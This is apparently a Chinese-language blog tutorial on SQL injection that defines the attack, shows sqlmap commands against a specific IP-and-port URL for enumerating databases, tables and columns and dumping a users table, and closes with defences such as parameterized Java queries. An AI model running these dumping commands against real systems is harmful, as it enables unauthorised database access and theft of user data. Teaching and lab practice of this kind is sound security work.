网络安全-SQL注入

目录

SQL注入的定义

SQL注入的利用

自动化工具SQLMAP

靶场、实战练习

Bugku平台

SQL注入防御

输入验证

参数化查询


SQL注入的定义

SQL注入是一种常见的网络安全攻击技术,攻击者通过在用户输入的数据中插入恶意的SQL代码,欺骗后端数据库执行非预期的操作。这种攻击通常发生在应用程序未对用户输入进行充分验证或过滤的情况下,导致数据库被非法访问、篡改或泄露敏感信息。

SQL注入的利用

自动化工具SQLMAP

基础用法

复制代码
python sqlmap.py -u URL

示例:

复制代码
python sqlmap.py -u http://49.232.142.230:12470/filter?category=Sport

--dbs 查看数据库

示例:

复制代码
python sqlmap.py -u http://49.232.142.230:12470/filter?category=Sport --dbs

-D 指定对应数据库(如果没有则不用指定)

--tables 查看对应数据库名(如果没有则不用指定)的所有表

示例

复制代码
python sqlmap.py -u http://49.232.142.230:12470/filter?category=Sport --tables -D dbname

-T 指定对应表

--columns 查看对应表的所有列名

复制代码
python sqlmap.py -u http://49.232.142.230:12470/filter?category=Sport -T users --columns

--dump 列出所有值 可指定具体到列,也可以直接指定表,将表的内容都显示出来

示例:

复制代码
python sqlmap.py -u http://49.232.142.230:12470/filter?category=Sport -T users -D dbname --dump

靶场、实战练习

Bugku平台

Bugku 2023 HackINI Virtual Shop-CSDN博客

SQL注入防御

输入验证

Web应用防火墙WAF

参数化查询

使用参数化查询(预编译语句)是最有效的防御方法。

例如在Java中使用PreparedStatement:

java 复制代码
String query = "SELECT * FROM users WHERE username=? AND password=?";
PreparedStatement stmt = connection.prepareStatement(query);
stmt.setString(1, username);
stmt.setString(2, password);
 
相关推荐
IvorySQL4 小时前
PostgreSQL 日报|修复截断 zstd 备份检测(10 月 9 日)
数据库·postgresql
刘胡子大叔4 小时前
SQL 脚本的导入顺序
数据库·sql
代码什么用5 小时前
Spring对IoC的实现
数据库·spring
hz567897 小时前
涉密视频会议设备配置指南:终端、音视频采集与配套设施选型
服务器·网络·数据库·安全·实时音视频·信息与通信·智能硬件
广州浮点FLOATLIC7 小时前
许可证服务器迁移后软件打不开:研发 IT 怎样定位连接问题
linux·服务器·数据库
程序员Sunday7 小时前
MySQL 为什么使用 B+ 树索引?把范围查询、回表和覆盖索引连起来
数据库·mysql
半杯咖啡半行码7 小时前
Qt开发实战:数据库、MV 模式、QProcess与串口通信全攻略
数据库·qt
小米里的大麦7 小时前
16 MySQL 事务
数据库·mysql
西柚小萌新8 小时前
【LLM&&AI应用开发 八股文】--4.3.Agent智能体(下)
java·开发语言·数据库
邓工说电9 小时前
智慧断路器安全吗?数据加密、离线保护与合规认证全解读
大数据·数据库·人工智能·智能断路器·炜晔科技